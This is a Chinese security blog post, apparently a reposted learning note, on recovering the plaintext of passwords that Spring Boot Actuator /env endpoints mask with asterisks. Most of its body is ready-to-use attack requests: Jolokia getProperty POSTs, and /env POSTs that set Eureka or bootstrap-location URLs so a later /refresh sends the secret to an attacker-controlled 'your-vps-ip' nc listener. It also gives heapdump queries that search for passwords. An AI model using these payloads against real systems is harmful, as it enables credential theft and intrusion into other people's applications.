springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)

admin 2023年9月21日18:35:49评论56 views字数 4611阅读15分22秒阅读模式

(此文为学习笔记,尽量按自己理解缩写部分内容,如果懒直接看方法三,因为有实战截图

springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)

前言:一次内网漏洞检查过程中遇到spring-env泄露,结果敏感内容全部加密

其他地方也没突破点,愁的我发慌..就想着那只能收集点env泄露的用户名什么的 搞个密码本去试试运气吧,但成功率肯定很低..

就当我发愁之际,佬说已经在env里面拿到数据库账密了,从env里拿到的........??    我很迷惑,去搜网站也没搜到什么env解密工具内容啥的..

最后啥也不说了 直接求大佬教吧

大佬发给我一篇文章

springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)

再不学真睡不着了..

springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)

原文链接放文末了

springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)

漏洞路径主要是:(这个不必多说吧)

/env、/actuator/env


知识概括(跟主要实操其实也没什么关系,可忽略直接往下看):


1、 运气好:你访问env接口会直接泄露密码明文;(从没有过这么好的运气..)

2、 利用/refresh/actuator/refresh接口:

POST 请求 /env 接口后,配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞

3、 /restart/actuator/restart

暴露出此接口的情况较少;可以配合POST请求 /env 接口设置属性后,再POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

4、/jolokia、/actuator/jolokia

可以通过/jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

5、/trace、/actuator/httptrace

一些 http 请求包访问跟踪信息,可能可以在其中发现内网应用系统的一些请求信息详情;以及用户或管理员的 cookie、jwt token 等信息


实操方法:

方法一(存在jolokia接口,按照版本执行对应命令即可)

利用条件:目标网站存在 /jolokia  /actuator/jolokia 接口

将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。

spring 1.x

POST /jolokia

Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}


POST /jolokia

Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia

Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}


POST /actuator/jolokia

Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

方法二(get/post请求env、post请求refresh接口、并且要能出网)

利用条件:

1、可以 GET 请求目标网站的/env

2、可以 POST 请求目标网站的/env

3、可以 POST 请求目标网站的/refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

4、目标使用了spring-cloud-starter-netflix-eureka-client 依赖

5、目标可以请求攻击者的服务器(请求可出外网)

步骤一: 找到想要获取的属性名
步骤二: 使用 nc 监听 HTTP 请求

在自己外网服务器上监听 80 端口:

nc -lvk 80
步骤三:构造数据包+构造刷新配置包

将下面 http://value:${security.user.password}@your-vps-ip 中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;

your-vps-ip 换成自己外网服务器的真实 ip 地址。

(两个数据包捆绑使用)

spring 1.x

POST /env

Content-Type: application/x-www-form-urlencoded

(中间内容无所谓 env原包不变就行)

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

搭配以下使用:

POST /refresh

Content-Type: application/x-www-form-urlencoded


spring 2.x

POST /actuator/env

Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

POST /actuator/refresh

Content-Type: application/json


步骤四: 解码属性值

正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 Authorization 头内容:Authorization: Basic dmFsdWU6MTIzNDU2

将其中的 dmFsdWU6MTIzNDU2部分使用 base64 解码,即可获得类似明文值 value:123456,其中的 123456 即是目标星号 * 脱敏前的属性值明文。



方法三(spring.cloud.bootstrap.location方法实战成功过,后有贴图)

利用条件:

通过 POST/env 设置属性触发目标对外网指定地址发起任意http 请求

目标可以请求攻击者的服务器(请求可出外网)

步骤一:找到想要获取的属性名
步骤二:使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口:

nc -lvk 80
步骤三: 触发对外 http 请求(两种方法,同样区分两个版本)
方法1spring.cloud.bootstrap.location 方法(适用于明文数据中有特殊 url 字符的情况)

方法2eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况)

spring方法:

spring 1.x

POST /env

Content-Type: application/x-www-form-urlencoded


spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}


spring 2.x

POST /actuator/env

Content-Type: application/json


{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}


eureka方法:

spring 1.x

POST /env

Content-Type: application/x-www-form-urlencoded


eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}

spring 2.x

POST /actuator/env

Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}


步骤四: 刷新配置refresh

spring 1.x

POST /refresh

Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh

Content-Type: application/json


实战:方法一spring实操截图:

springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)

springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)

springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)

提交refresh

springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)

可以看到监听端口处收到参数值。

springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)


方法四(headump一把嗦)

接口路径:

/heapdump 或 /actuator/heapdump 接口

Headump有就工具直接一把嗦

也可以配合jvisualvm.exe(jvm性能调优监控工具)来搜索

jvisualvm.exe执行命令搜索password:

select s from java.lang.String s where /password/.test(s.value.toString())

其他文章偷的命令:

select s.value.toString() from java.util.Hashtable$Entry s where /password/.test(s.key.toString())

select s.value.toString() from java.util.LinkedHashMap$Entry s where /password/.test(s.key.toString())

springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)

springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)


其他的rce、注入等方法就不多说了,这边我只推荐方法三,因为只实战试过这个哈哈..

详细内容参考:

https://github.com/LandGrey/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%BE%E5%88%B0%E6%83%B3%E8%A6%81%E8%8E%B7%E5%8F%96%E7%9A%84%E5%B1%9E%E6%80%A7%E5%90%8D



原文始发于微信公众号(符符要努力):springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月21日18:35:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   springboot-env如何获取星号脱敏的密码明文?(学习时长:25min)https://cn-sec.com/archives/2056421.html

发表评论

匿名网友 填写信息